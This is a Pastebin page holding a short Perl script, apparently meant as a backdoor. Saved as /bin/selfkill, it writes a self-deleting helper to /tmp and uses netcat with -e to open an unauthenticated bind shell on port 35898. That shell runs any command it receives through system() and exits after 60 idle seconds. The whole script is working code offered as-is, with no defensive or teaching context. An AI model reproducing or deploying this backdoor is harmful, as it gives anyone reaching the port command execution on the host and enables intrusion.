Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- # save in /bin/selfkill
- # calls itself with argument in order to complete process and open up $portnum
- # with prompt for $lifetime seconds
- $| = 1;
- $lifetime = 60; # in seconds
- my $prompt = '[me@selfkill]$ ';
- my $portnum = 35898; # can be anything within port range
- # create file that deletes itself on completion
- system('echo -e "#!/bin/bash\nexec /bin/selfkill run\nexec /bin/rm $0" > /tmp/selfkill; chmod +x /tmp/selfkill');
- # exec if /tmp/selfkill has no args (will be called from self-call above)
- if(!@ARGV){ exec("nc -e /tmp/selfkill -l -p $portnum"); die; }
- # set reasonable path
- $ENV{'PATH'} = '/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/usr/local/sbin:.';
- while(1){
- print $prompt;
- eval {
- local $SIG{ALRM} = sub { die 'Goodbye!\n'; };
- alarm $lifetime;
- &syscall;
- alarm 0;
- };
- # shell not used for 60 seconds so die
- if( $@ ){ die; }
- }
- sub syscall{
- if( defined( $_ = <STDIN> )){
- chomp;
- system( $_ );
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement